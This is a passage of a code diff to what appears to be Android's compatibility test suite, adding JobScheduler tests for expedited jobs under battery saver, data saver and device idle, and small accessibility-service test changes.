+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue("Expedited job requiring connectivity did not fire when app was idle.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when Battery Saver is on.
+     */
+    public void testExpeditedJobExecutes_BatterySaverOn() throws Exception {
+        BatteryUtils.assumeBatterySaverFeature();
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+
+        disconnectWifiToConnectToMobile();
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue(
+                "Expedited job requiring connectivity did not fire with Battery Saver on.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when Data Saver is on and the device is not connected to WiFi.
+     */
+    public void testExpeditedJobExecutes_DataSaverOn() throws Exception {
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+        disconnectWifiToConnectToMobile();
+        setDataSaverEnabled(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue("Expedited job requiring metered connectivity did not fire with Data Saver on.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when multiple firewalls are active.
+     */
+    public void testExpeditedJobBypassesSimultaneousFirewalls() throws Exception {
+        BatteryUtils.assumeBatterySaverFeature();
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+        if (!AppStandbyUtils.isAppStandbyEnabled()) {
+            Log.d(TAG, "App standby not enabled");
+            return;
+        }
+
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+        SystemUtil.runShellCommand("am set-standby-bucket "
+                + kJobServiceComponent.getPackageName() + " restricted");
+        disconnectWifiToConnectToMobile();
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+        setDataSaverEnabled(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue(
+                "Expedited job requiring metered connectivity did not fire with multiple "
+                        + "firewalls.",
+                kTestEnvironment.awaitExecution());
+    }
+
     // --------------------------------------------------------------------------------------------
     // Positives & Negatives - schedule jobs under conditions that require that pass initially and
     // then fail with a constraint change.
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java
index 1a33df0..26bda48 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java
@@ -36,18 +36,30 @@
 public class JobInfoTest extends BaseJobSchedulerTest {
     private static final int JOB_ID = JobInfoTest.class.hashCode();
 
+    @Override
+    public void tearDown() throws Exception {
+        mJobScheduler.cancel(JOB_ID);
+
+        // The super method should be called at the end.
+        super.tearDown();
+    }
+
     public void testBackoffCriteria() {
         JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setBackoffCriteria(12345, JobInfo.BACKOFF_POLICY_LINEAR)
                 .build();
         assertEquals(12345, ji.getInitialBackoffMillis());
         assertEquals(JobInfo.BACKOFF_POLICY_LINEAR, ji.getBackoffPolicy());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setBackoffCriteria(54321, JobInfo.BACKOFF_POLICY_EXPONENTIAL)
                 .build();
         assertEquals(54321, ji.getInitialBackoffMillis());
         assertEquals(JobInfo.BACKOFF_POLICY_EXPONENTIAL, ji.getBackoffPolicy());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testBatteryNotLow() {
@@ -55,11 +67,15 @@
                 .setRequiresBatteryNotLow(true)
                 .build();
         assertTrue(ji.isRequireBatteryNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setRequiresBatteryNotLow(false)
                 .build();
         assertFalse(ji.isRequireBatteryNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testCharging() {
@@ -67,11 +83,15 @@
                 .setRequiresCharging(true)
                 .build();
         assertTrue(ji.isRequireCharging());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setRequiresCharging(false)
                 .build();
         assertFalse(ji.isRequireCharging());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testClipData() {
@@ -81,12 +101,16 @@
                 .build();
         assertEquals(clipData, ji.getClipData());
         assertEquals(Intent.FLAG_GRANT_READ_URI_PERMISSION, ji.getClipGrantFlags());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setClipData(null, 0)
                 .build();
         assertNull(ji.getClipData());
         assertEquals(0, ji.getClipGrantFlags());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testDeviceIdle() {
@@ -94,23 +118,23 @@
                 .setRequiresDeviceIdle(true)
                 .build();
         assertTrue(ji.isRequireDeviceIdle());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setRequiresDeviceIdle(false)
                 .build();
         assertFalse(ji.isRequireDeviceIdle());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testEstimatedNetworkBytes() {
-        try {
-            new JobInfo.Builder(JOB_ID, kJobServiceComponent)
-                    .setEstimatedNetworkBytes(500, 1000)
-                    .build();
-            fail("Successfully built a JobInfo specifying estimated network bytes without "
-                    + "requesting network");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
+        assertBuildFails(
+                "Successfully built a JobInfo specifying estimated network bytes without"
+                        + " requesting network",
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setEstimatedNetworkBytes(500, 1000));
 
         JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
@@ -118,6 +142,8 @@
                 .build();
         assertEquals(500, ji.getEstimatedNetworkDownloadBytes());
         assertEquals(1000, ji.getEstimatedNetworkUploadBytes());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testExtras() {
@@ -128,13 +154,64 @@
                 .setExtras(pb)
                 .build();
         assertTrue(persistableBundleEquals(pb, ji.getExtras()));
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
-    public void testForegroundJob() {
+    public void testExpeditedJob() {
+        // Test all allowed constraints.
         JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
-                .setForeground(true)
+                .setExpedited(true)
+                .setPersisted(true)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                .setRequiresStorageNotLow(true)
                 .build();
-        assertTrue(ji.isForegroundJob());
+        assertTrue(ji.isExpedited());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        // Test disallowed constraints.
+        final String failureMessage =
+                "Successfully built an expedited JobInfo object with disallowed constraints";
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setMinimumLatency(100));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setOverrideDeadline(200));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setPeriodic(15 * 60_000));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setImportantWhileForeground(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setPrefetch(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setRequiresDeviceIdle(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setRequiresBatteryNotLow(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setRequiresCharging(true));
+        final JobInfo.TriggerContentUri tcu = new JobInfo.TriggerContentUri(
+                Uri.parse("content://" + MediaStore.AUTHORITY + "/"),
+                JobInfo.TriggerContentUri.FLAG_NOTIFY_FOR_DESCENDANTS);
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .addTriggerContentUri(tcu));
     }
 
     public void testImportantWhileForeground() {
@@ -142,16 +219,22 @@
         JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .build();
         assertFalse(ji.isImportantWhileForeground());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setImportantWhileForeground(true)
                 .build();
         assertTrue(ji.isImportantWhileForeground());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setImportantWhileForeground(false)
                 .build();
         assertFalse(ji.isImportantWhileForeground());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testMinimumLatency() {
@@ -159,6 +242,8 @@
                 .setMinimumLatency(1337)
                 .build();
         assertEquals(1337, ji.getMinLatencyMillis());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testOverrideDeadline() {
@@ -176,6 +261,8 @@
         assertTrue(ji.isPeriodic());
         assertEquals(60 * 60 * 1000L, ji.getIntervalMillis());
         assertEquals(60 * 60 * 1000L, ji.getFlexMillis());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setPeriodic(120 * 60 * 1000L, 20 * 60 * 1000L)
@@ -183,6 +270,8 @@
         assertTrue(ji.isPeriodic());
         assertEquals(120 * 60 * 1000L, ji.getIntervalMillis());
         assertEquals(20 * 60 * 1000L, ji.getFlexMillis());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testPersisted() {
@@ -190,16 +279,22 @@
         JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .build();
         assertFalse(ji.isPersisted());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setPersisted(true)
                 .build();
         assertTrue(ji.isPersisted());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setPersisted(false)
                 .build();
         assertFalse(ji.isPersisted());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testPrefetch() {
@@ -207,16 +302,22 @@
         JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .build();
         assertFalse(ji.isPrefetch());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setPrefetch(true)
                 .build();
         assertTrue(ji.isPrefetch());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setPrefetch(false)
                 .build();
         assertFalse(ji.isPrefetch());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testRequiredNetwork() {
@@ -228,11 +329,15 @@
                 .setRequiredNetwork(nr)
                 .build();
         assertEquals(nr, ji.getRequiredNetwork());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setRequiredNetwork(null)
                 .build();
         assertNull(ji.getRequiredNetwork());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     @SuppressWarnings("deprecation")
@@ -241,31 +346,43 @@
         JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .build();
         assertEquals(JobInfo.NETWORK_TYPE_NONE, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
                 .build();
         assertEquals(JobInfo.NETWORK_TYPE_ANY, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setRequiredNetworkType(JobInfo.NETWORK_TYPE_UNMETERED)
                 .build();
         assertEquals(JobInfo.NETWORK_TYPE_UNMETERED, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setRequiredNetworkType(JobInfo.NETWORK_TYPE_NOT_ROAMING)
                 .build();
         assertEquals(JobInfo.NETWORK_TYPE_NOT_ROAMING, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setRequiredNetworkType(JobInfo.NETWORK_TYPE_CELLULAR)
                 .build();
         assertEquals(JobInfo.NETWORK_TYPE_CELLULAR, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setRequiredNetworkType(JobInfo.NETWORK_TYPE_NONE)
                 .build();
         assertEquals(JobInfo.NETWORK_TYPE_NONE, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testStorageNotLow() {
@@ -273,25 +390,24 @@
                 .setRequiresStorageNotLow(true)
                 .build();
         assertTrue(ji.isRequireStorageNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setRequiresStorageNotLow(false)
                 .build();
         assertFalse(ji.isRequireStorageNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testTransientExtras() {
         final Bundle b = new Bundle();
         b.putBoolean("random_bool", true);
-        try {
-            new JobInfo.Builder(JOB_ID, kJobServiceComponent)
-                    .setPersisted(true)
-                    .setTransientExtras(b)
-                    .build();
-            fail("Successfully built a persisted JobInfo object with transient extras");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
+        assertBuildFails("Successfully built a persisted JobInfo object with transient extras",
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setPersisted(true)
+                        .setTransientExtras(b));
 
         JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setTransientExtras(b)
@@ -300,6 +416,8 @@
         for (String key : b.keySet()) {
             assertEquals(b.get(key), ji.getTransientExtras().get(key));
         }
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testTriggerContentMaxDelay() {
@@ -307,6 +425,8 @@
                 .setTriggerContentMaxDelay(1337)
                 .build();
         assertEquals(1337, ji.getTriggerContentMaxDelay());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testTriggerContentUpdateDelay() {
@@ -314,6 +434,8 @@
                 .setTriggerContentUpdateDelay(1337)
                 .build();
         assertEquals(1337, ji.getTriggerContentUpdateDelay());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
     }
 
     public void testTriggerContentUri() {
@@ -327,6 +449,8 @@
                 .build();
         assertEquals(1, ji.getTriggerContentUris().length);
         assertEquals(tcu, ji.getTriggerContentUris()[0]);
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
 
         final Uri u2 = Uri.parse("content://" + ContactsContract.AUTHORITY + "/");
         final JobInfo.TriggerContentUri tcu2 = new JobInfo.TriggerContentUri(u2, 0);
@@ -339,5 +463,16 @@
         assertEquals(2, ji.getTriggerContentUris().length);
         assertEquals(tcu, ji.getTriggerContentUris()[0]);
         assertEquals(tcu2, ji.getTriggerContentUris()[1]);
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    private void assertBuildFails(String message, JobInfo.Builder builder) {
+        try {
+            builder.build();
+            fail(message);
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
     }
 }
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
index 8b7ca03..bd0653b 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
@@ -65,9 +65,9 @@
         assertTrue(persistableBundleEquals(pb, params.getExtras()));
     }
 
-    public void testForeground() throws Exception {
+    public void testExpedited() throws Exception {
         JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
-                .setForeground(true)
+                .setExpedited(true)
                 .build();
 
         kTestEnvironment.setExpectedExecutions(1);
@@ -76,10 +76,10 @@
         assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
 
         JobParameters params = kTestEnvironment.getLastJobParameters();
-        assertTrue(params.isForegroundJob());
+        assertTrue(params.isExpeditedJob());
 
         ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
-                .setForeground(false)
+                .setExpedited(false)
                 .build();
 
         kTestEnvironment.setExpectedExecutions(1);
@@ -88,7 +88,7 @@
         assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
 
         params = kTestEnvironment.getLastJobParameters();
-        assertFalse(params.isForegroundJob());
+        assertFalse(params.isExpeditedJob());
     }
 
     public void testJobId() throws Exception {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index 40d0515..fb08e6d 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -284,7 +284,7 @@
         setAirplaneMode(false);
         setWifiState(true, mCm, mWifiManager);
         assumeTrue("device idle not enabled", mDeviceIdleEnabled);
-        mTestAppInterface.scheduleJob(false, true);
+        mTestAppInterface.scheduleJob(false, true, false);
         runJob();
         assertTrue("Job did not start after scheduling",
                 mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
@@ -383,7 +383,7 @@
         BatteryUtils.runDumpsysBatteryUnplug();
         setTestPackageStandbyBucket(Bucket.RESTRICTED);
         Thread.sleep(DEFAULT_WAIT_TIMEOUT);
-        mTestAppInterface.scheduleJob(false, true);
+        mTestAppInterface.scheduleJob(false, true, false);
         runJob();
         assertFalse("New job started in RESTRICTED bucket", mTestAppInterface.awaitJobStart(3_000));
 
@@ -479,7 +479,7 @@
         BatteryUtils.enableBatterySaver(true);
         tempWhitelistTestApp(6_000);
         sendScheduleJobBroadcast(false);
-        assertTrue("New job in uid-active app failed to start with battery saver OFF",
+        assertTrue("New job in uid-active app failed to start with battery saver ON",
                 mTestAppInterface.awaitJobStart(3_000));
     }
 
@@ -504,6 +504,63 @@
                 mTestAppInterface.awaitJobStart(120_000));
     }
 
+
+    @Test
+    public void testExpeditedJobBypassesBatterySaverOn() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+        assumeFalse("not testable in leanback device", mLeanbackOnly);
+
+        BatteryUtils.assumeBatterySaverFeature();
+
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+        mTestAppInterface.scheduleJob(false, false, true);
+        assertTrue("New expedited job failed to start with battery saver ON",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testExpeditedJobBypassesBatterySaver_toggling() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+        assumeFalse("not testable in leanback device", mLeanbackOnly);
+
+        BatteryUtils.assumeBatterySaverFeature();
+
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(false);
+        mTestAppInterface.scheduleJob(false, false, true);
+        assertTrue("New expedited job failed to start with battery saver ON",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        BatteryUtils.enableBatterySaver(true);
+        assertFalse("Job stopped when battery saver turned on",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testExpeditedJobBypassesDeviceIdle() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
+        toggleDeviceIdleState(true);
+        mTestAppInterface.scheduleJob(false, false, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testExpeditedJobBypassesDeviceIdle_toggling() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
+        toggleDeviceIdleState(false);
+        mTestAppInterface.scheduleJob(false, false, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        toggleDeviceIdleState(true);
+        assertFalse("Job stopped when device enabled turned on",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+    }
+
     @After
     public void tearDown() throws Exception {
         AppOpsUtils.reset(TEST_APP_PACKAGE);
@@ -561,7 +618,7 @@
     }
 
     private void sendScheduleJobBroadcast(boolean allowWhileIdle) throws Exception {
-        mTestAppInterface.scheduleJob(allowWhileIdle, false);
+        mTestAppInterface.scheduleJob(allowWhileIdle, false, false);
     }
 
     private void toggleDeviceIdleState(final boolean idle) throws Exception {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java b/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
index d871a2b..7e2e05e 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
@@ -68,12 +68,13 @@
         mTestJobStatus.reset();
     }
 
-    void scheduleJob(boolean allowWhileIdle, boolean needNetwork) {
+    void scheduleJob(boolean allowWhileIdle, boolean needNetwork, boolean asExpeditedJob) {
         final Intent scheduleJobIntent = new Intent(TestJobSchedulerReceiver.ACTION_SCHEDULE_JOB);
         scheduleJobIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_JOB_ID_KEY, mJobId);
         scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_ALLOW_IN_IDLE, allowWhileIdle);
         scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_REQUIRE_NETWORK_ANY, needNetwork);
+        scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_AS_EXPEDITED, asExpeditedJob);
         scheduleJobIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
         mContext.sendBroadcast(scheduleJobIntent);
     }
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 65527ca..038af75 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -184,6 +184,17 @@
                  android:resource="@xml/stub_take_screenshot_service"/>
         </service>
 
+        <service android:name=".StubFocusIndicatorService"
+                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
+            </intent-filter>
+
+            <meta-data android:name="android.accessibilityservice"
+                       android:resource="@xml/stub_focus_indicator_service"/>
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index 19d406c..d79d927 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
         <option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
diff --git a/tests/accessibilityservice/res/values/strings.xml b/tests/accessibilityservice/res/values/strings.xml
index 7b6be1e..03de62d 100644
--- a/tests/accessibilityservice/res/values/strings.xml
+++ b/tests/accessibilityservice/res/values/strings.xml
@@ -194,4 +194,6 @@
     <!-- String title of accessibility embedded hierarchy test activity -->
     <string name="accessibility_embedded_hierarchy_test_activity">Accessibility embedded hierarchy test</string>
 
+    <string name="stub_focus_indicator_service_description">com.android.accessibilityservice.cts.StubFocusIndicatorService</string>
+
 </resources>
diff --git a/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml b/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml
new file mode 100644
index 0000000..a27c7ca
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+                       android:description="@string/stub_focus_indicator_service_description"
+/>
\ No newline at end of file
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index c50aee2..1b003e3 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -459,7 +459,7 @@
                             .setSmallIcon(android.R.drawable.stat_notify_call_mute)
                             .setContentIntent(PendingIntent.getActivity(mActivity, 0,
                                     new Intent(),
-                                    PendingIntent.FLAG_CANCEL_CURRENT))
+            PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE))
                             .setTicker(message)
                             .setContentTitle("")
                             .setContentText("")
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index 6a7d5b8..d0d513a 100644
